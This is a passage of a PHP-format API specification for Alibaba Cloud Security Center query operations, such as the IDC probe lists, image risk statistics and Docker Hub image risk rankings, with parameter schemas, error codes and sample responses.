[ 'errorCode' => 'CspmParamIllegal', 'errorMessage' => 'The parameter is not legal. %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Processes\\": [\\n {\\n \\"TotalCount\\": 337,\\n \\"FinishCount\\": 197,\\n \\"TaskId\\": \\"3d7a1b68-599f-4e16-9b45-e920a183b***\\\\n\\",\\n \\"StatusCode\\": 1,\\n \\"TaskType\\": \\"CHECK_POLICY\\",\\n \\"StartTime\\": 1705457102000,\\n \\"EndTime\\": 1705467559000,\\n \\"CreateTime\\": 1674388824000,\\n \\"TaskSource\\": \\"YAO_CHI\\",\\n \\"DetailTaskTotalCount\\": 10,\\n \\"DetailTaskReadyCount\\": 5\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'ListOperationProcess', 'description' => 'You can query only operation tasks.'."\n", ], 'DescribeCanAccessVpcSale' => [ 'summary' => 'Check if the asset can be sold by VPC', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92012', 'abilityTreeNodes' => [ 'FEATUREsas0KX1KI', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CanAccess' => [ 'description' => 'Indicates whether the purchase can be made according to VPC.', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for this request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanAccess\\": true,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'Check if the Asset Can be Sold by VPC', 'translator' => 'machine', ], 'DescribeDomainSecureSuggests' => [ 'summary' => 'Query Network Security Report - Security Suggestions', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92065', 'abilityTreeNodes' => [ 'FEATUREsas3VVW1Q', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the access source.', 'type' => 'string', 'required' => false, 'example' => '218.249.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for requests and received messages, default is **zh**. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RiskSuggest' => [ 'description' => 'Overall suggestions for security reinforcement.', 'type' => 'string', 'example' => 'Use the security center, such as security alerts, vulnerability scanning, and vulnerability fixes, to resolve security risks as soon as possible.', ], 'WebLockSuggest' => [ 'description' => 'Suggestions for website tamper prevention.', 'type' => 'string', 'example' => 'The website tamper-proofing feature is recommended to prevent the website from being maliciously injected into external links, and being tampered with as malicious information, causing serious negative social impact to the enterprise.', ], 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for this request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'VulSuggest' => [ 'description' => 'Suggestions for vulnerability repair.', 'type' => 'integer', 'format' => 'int64', 'example' => 'If your business cannot promptly fix vulnerabilities in high-risk applications, we recommend that you enable the cloud firewall IPS feature to intercept malicious attacks on the network side.', ], 'TotalCount' => [ 'description' => 'Total number of security recommendations.', 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RiskSuggest\\": \\"Use the security center, such as security alerts, vulnerability scanning, and vulnerability fixes, to resolve security risks as soon as possible.\\",\\n \\"WebLockSuggest\\": \\"The website tamper-proofing feature is recommended to prevent the website from being maliciously injected into external links, and being tampered with as malicious information, causing serious negative social impact to the enterprise.\\",\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"VulSuggest\\": 0,\\n \\"TotalCount\\": 4\\n}","type":"json"}]', 'title' => 'Query Website Security Report\'s Security Suggestions', 'translator' => 'machine', ], 'DescribeIdcProbeList' => [ 'summary' => 'Query IDC probe list', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92094', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the maximum number of data entries to display per page in a paginated query. The default number of data entries per page is 20, and if the PageSize parameter is empty, it will default to returning 20 data entries.'."\n" .'> It is recommended that the PageSize value is not empty.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Sets the page number from which to start displaying the query results. The default value is 1, indicating that the display starts from the first page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Probe status. Values:'."\n" ."\n" .'- **0**: Enabled'."\n" .'- **1**: Disabled', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'IdcName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the IDC.', 'type' => 'string', 'required' => false, 'example' => '3K IDC', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of data entries to display per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'Total number of entries.', 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Count' => [ 'description' => 'The number of data entries displayed on the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], ], ], 'IdcProbes' => [ 'description' => 'IDC probe list.', 'type' => 'array', 'items' => [ 'description' => 'IDC probe list.', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Probe status. Values:'."\n" ."\n" .'- **0**: Enabled'."\n" .'- **1**: Disabled', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'LinuxPort' => [ 'description' => 'Linux port.', 'type' => 'string', 'example' => '22', ], 'InternetIp' => [ 'description' => 'Public IP address.', 'type' => 'string', 'example' => '47.98.*.*', ], 'IdcRegion' => [ 'description' => 'Region.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'Instance ID of the asset.', 'type' => 'string', 'example' => 'i-xxxxx', ], 'IpSegments' => [ 'description' => 'IP segment range.', 'type' => 'string', 'example' => '192.168.1.0/24', ], 'IntranetIp' => [ 'description' => 'Private IP of the instance.', 'type' => 'string', 'example' => '10.68.*.*', ], 'Uuid' => [ 'description' => 'Server UUID.', 'type' => 'string', 'example' => 'inet-eae02b9a-1dbd-44a6-844c-69072b27****', ], 'IntervalPeriod' => [ 'description' => 'Scan period.', 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'InstanceName' => [ 'description' => 'Instance name.', 'type' => 'string', 'example' => 'oraclexxx', ], 'PeriodUnit' => [ 'description' => 'The unit of the scan period, with values:'."\n" .'- **day**: day.'."\n" .'- **hour**: hour.', 'type' => 'string', 'example' => 'day', ], 'WinPort' => [ 'description' => 'Windows port.', 'type' => 'string', 'example' => '3389', ], 'IdcName' => [ 'description' => 'IDC data center name.', 'type' => 'string', 'example' => '3K IDC', ], 'ServiceStatus' => [ 'type' => 'integer', 'format' => 'int32', 'example' => '0', 'description' => 'Probe service status. Values:'."\n" ."\n" .'- **0**: Active'."\n" .'- **1**: Inactive', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 17\\n },\\n \\"IdcProbes\\": [\\n {\\n \\"Status\\": 0,\\n \\"LinuxPort\\": \\"22\\",\\n \\"InternetIp\\": \\"47.98.*.*\\",\\n \\"IdcRegion\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"i-xxxxx\\",\\n \\"IpSegments\\": \\"192.168.1.0/24\\",\\n \\"IntranetIp\\": \\"10.68.*.*\\",\\n \\"Uuid\\": \\"inet-eae02b9a-1dbd-44a6-844c-69072b27****\\",\\n \\"IntervalPeriod\\": 16,\\n \\"InstanceName\\": \\"oraclexxx\\",\\n \\"PeriodUnit\\": \\"day\\",\\n \\"WinPort\\": \\"3389\\",\\n \\"IdcName\\": \\"3K IDC\\",\\n \\"ServiceStatus\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Query IDC Data Center Asset Discovery Probe List', 'translator' => 'machine', ], 'DescribeImageRiskLevelStatistic' => [ 'summary' => 'Queries the number of images on which security alerts are generated. Security alerts are generated for risks such as vulnerabilities, baselines risks, and malicious samples.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A60DA4EC-7CD8-577D-AD73-******', ], 'ImageRiskLevelList' => [ 'description' => 'The information about risks at the image level. The risks include vulnerabilities, baselines risks, and malicious file risks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the risk at the image level.'."\n", 'type' => 'object', 'properties' => [ 'Cnt' => [ 'description' => 'The number of images at the risk level.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'ImageRiskLevel' => [ 'description' => 'The risk level of the image. Valid values:'."\n" ."\n" .'* **3**: high risk.'."\n" .'* **2**: medium risk.'."\n" .'* **1**: low risk.'."\n" .'* **0**: no risk.'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A60DA4EC-7CD8-577D-AD73-******\\",\\n \\"ImageRiskLevelList\\": [\\n {\\n \\"Cnt\\": 12,\\n \\"ImageRiskLevel\\": \\"0\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageRiskLevelStatistic', 'translator' => 'machine', ], 'DescribeImageSecurityScanCount' => [ 'summary' => 'Queries the number of security events detected on an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the Container Registry repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-beijing', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Container Registry instance.'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cri-p2jahwuuwuk7****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Container Registry repository.'."\n", 'type' => 'string', 'required' => false, 'example' => '3df5b5a1f2339eb7ebc7d474b8d4****', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c958b80f-prd_default-9bb0****', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The SHA-256 value of the image digest.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a7978d51f5eddf7612ab15ae46bd4b4257bf59da77c2aafc9d9d8ab41bb3****', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'The handling status. Valid values:'."\n" ."\n" .'* **Y**: handled.'."\n" .'* **N**: unhandled.'."\n" .'* **A**: all.'."\n", 'type' => 'string', 'required' => false, 'example' => 'N', ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '325bfa067ae6c678e59e8a1b34cc****', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to scan.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cdbbe7aa56cbf4b8f830f83718d26****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the instances that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the instance that you want to scan.'."\n", 'type' => 'string', 'required' => false, 'example' => '07a1300d-2198-4d0d-b1b3-c8da205e****', ], 'required' => false, 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'ImageBaselineCount' => [ 'description' => 'The number of image baseline risks detected on the current asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageMaliciousFileCount' => [ 'description' => 'The number of malicious image samples returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageScaVulCount' => [ 'description' => 'The number of image application vulnerabilities returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageCveVulCount' => [ 'description' => 'The number of image system vulnerabilities returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"Data\\": {\\n \\"ImageBaselineCount\\": 0,\\n \\"ImageMaliciousFileCount\\": 0,\\n \\"ImageScaVulCount\\": 0,\\n \\"ImageCveVulCount\\": 0\\n }\\n}","type":"json"}]', 'title' => 'DescribeImageSecurityScanCount', 'translator' => 'machine', ], 'GetDockerhubImageRiskRankInfo' => [ 'summary' => 'Queries the ranking of images in each dimension.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Types', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The dimension types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The dimension type. Valid values:'."\n" ."\n" .'* **vulAsap**: statistics of vulnerability scans.'."\n" .'* **baseline**: statistics of baseline scans.'."\n", 'type' => 'string', 'required' => false, 'example' => 'baseline', ], 'required' => false, 'maxItems' => 5, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], 'RiskRankInfo' => [ 'description' => 'The risk information.'."\n", 'type' => 'object', 'properties' => [ 'VulAsap' => [ 'description' => 'The risk information of high-risk vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk information of the high-risk vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the record.'."\n", 'type' => 'string', 'example' => '6636c286-8063-4c97-8508-6aaf16a8****', ], 'ImageSize' => [ 'description' => 'The image size.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1024', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => 'd97c1348e56eb52902888e6e5673623321b1f19ac45ed532c3114dc0f989****', ], 'HcCount' => [ 'description' => 'The number of risks detected on the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Tag' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'example' => 'app:app01-ubuntu', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ImageId' => [ 'description' => 'The image ID.'."\n", 'type' => 'string', 'example' => 'fabe4203a89765a2c99554040bda51eac7885a18216f4ac0be82710cff60****', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'lkl-zf-ss-ordapi-labs', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'namespace-01', ], 'RiskLevelDetail' => [ 'description' => 'The risk statistics of all hosts, images, and containers.'."\n", 'type' => 'string', 'example' => '{\\"account\\":0,\\"agentlessAll\\":0,\\"agentlessBaseline\\":0,\\"agentlessMalicious\\":0,\\"agentlessSensitiveFile\\":0,\\"agentlessVulCve\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulSys\\":0,\\"appNum\\":0,\\"asapVulCount\\":0,\\"baselineHigh\\":0,\\"baselineLow\\":0,\\"baselineMedium\\":0,\\"baselineNum\\":0,\\"cmsNum\\":0,\\"containerAsap\\":0,\\"containerLater\\":0,\\"containerNntf\\":0,\\"containerRemind\\":0,\\"containerSerious\\":0,\\"containerSuspicious\\":0,\\"cveNum\\":513,\\"emgNum\\":0,\\"health\\":0,\\"imageBaselineHigh\\":0,\\"imageBaselineLow\\":0,\\"imageBaselineMedium\\":0,\\"imageBaselineNum\\":0,\\"imageMaliciousFileRemind\\":0,\\"imageMaliciousFileSerious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"imageVulAsap\\":3,\\"imageVulLater\\":182,\\"imageVulNntf\\":328,\\"laterVulCount\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"remindNum\\":0,\\"scaNum\\":0,\\"seriousNum\\":0,\\"suspNum\\":0,\\"suspicious\\":0,\\"sysNum\\":0,\\"trojan\\":0,\\"uuid\\":\\"44ffb29d6f66d8509598bcdfa660a21d\\",\\"vul\\":513,\\"weakPWNum\\":0}', ], ], ], ], 'Baseline' => [ 'description' => 'The baseline risks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The baseline risk.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the record.'."\n", 'type' => 'string', 'example' => '5583aa03-922e-4709-a888-389f2489****', ], 'ImageSize' => [ 'description' => 'The image size.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1024', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => 'f28ecca63bfaf22ead4b28b63d752a21e4d2c1de90b8549fbde880d619f3****', ], 'HcCount' => [ 'description' => 'The number of baseline risks detected on the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Tag' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'example' => 'machineResource', ], 'VulCount' => [ 'description' => 'The number of detected vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ImageId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => '7c5ad02865aef575387a05bb3c81b27e0d8ed1f2e3f722ea05523b72882f****', ], 'RepoName' => [ 'description' => 'The name of the Container Registry repository.'."\n", 'type' => 'string', 'example' => 'glz123', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the repository belongs.'."\n", 'type' => 'string', 'example' => 'namespace-01'."\n", ], 'RiskLevelDetail' => [ 'description' => 'The risk statistics of all hosts, images, and containers.'."\n", 'type' => 'string', 'example' => '{\\"account\\":0,\\"agentlessAll\\":0,\\"agentlessBaseline\\":0,\\"agentlessMalicious\\":0,\\"agentlessSensitiveFile\\":0,\\"agentlessVulCve\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulSys\\":0,\\"appNum\\":0,\\"asapVulCount\\":0,\\"baselineHigh\\":0,\\"baselineLow\\":0,\\"baselineMedium\\":0,\\"baselineNum\\":0,\\"cmsNum\\":0,\\"containerAsap\\":0,\\"containerLater\\":0,\\"containerNntf\\":0,\\"containerRemind\\":0,\\"containerSerious\\":0,\\"containerSuspicious\\":0,\\"cveNum\\":0,\\"emgNum\\":0,\\"health\\":0,\\"imageBaselineHigh\\":1,\\"imageBaselineLow\\":0,\\"imageBaselineMedium\\":0,\\"imageBaselineNum\\":1,\\"imageMaliciousFileRemind\\":0,\\"imageMaliciousFileSerious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"imageVulAsap\\":0,\\"imageVulLater\\":0,\\"imageVulNntf\\":0,\\"laterVulCount\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"remindNum\\":0,\\"scaNum\\":0,\\"seriousNum\\":0,\\"suspNum\\":0,\\"suspicious\\":0,\\"sysNum\\":0,\\"trojan\\":0,\\"uuid\\":\\"009635bf00c0585e3122ab92f5449919\\",\\"vul\\":0,\\"weakPWNum\\":0}', ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"RiskRankInfo\\": {\\n \\"VulAsap\\": [\\n {\\n \\"Uuid\\": \\"6636c286-8063-4c97-8508-6aaf16a8****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"d97c1348e56eb52902888e6e5673623321b1f19ac45ed532c3114dc0f989****\\",\\n \\"HcCount\\": 0,\\n \\"Tag\\": \\"app:app01-ubuntu\\",\\n \\"VulCount\\": 1,\\n \\"ImageId\\": \\"fabe4203a89765a2c99554040bda51eac7885a18216f4ac0be82710cff60****\\",\\n \\"RepoName\\": \\"lkl-zf-ss-ordapi-labs\\",\\n \\"RepoNamespace\\": \\"namespace-01\\",\\n \\"RiskLevelDetail\\": \\"{\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessSensitiveFile\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSys\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":513,\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":3,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":182,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":328,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"44ffb29d6f66d8509598bcdfa660a21d\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":513,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0}\\"\\n }\\n ],\\n \\"Baseline\\": [\\n {\\n \\"Uuid\\": \\"5583aa03-922e-4709-a888-389f2489****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"f28ecca63bfaf22ead4b28b63d752a21e4d2c1de90b8549fbde880d619f3****\\",\\n \\"HcCount\\": 1,\\n \\"Tag\\": \\"machineResource\\",\\n \\"VulCount\\": 1,\\n \\"ImageId\\": \\"7c5ad02865aef575387a05bb3c81b27e0d8ed1f2e3f722ea05523b72882f****\\",\\n \\"RepoName\\": \\"glz123\\",\\n \\"RepoNamespace\\": \\"namespace-01\\\\n\\",\\n \\"RiskLevelDetail\\": 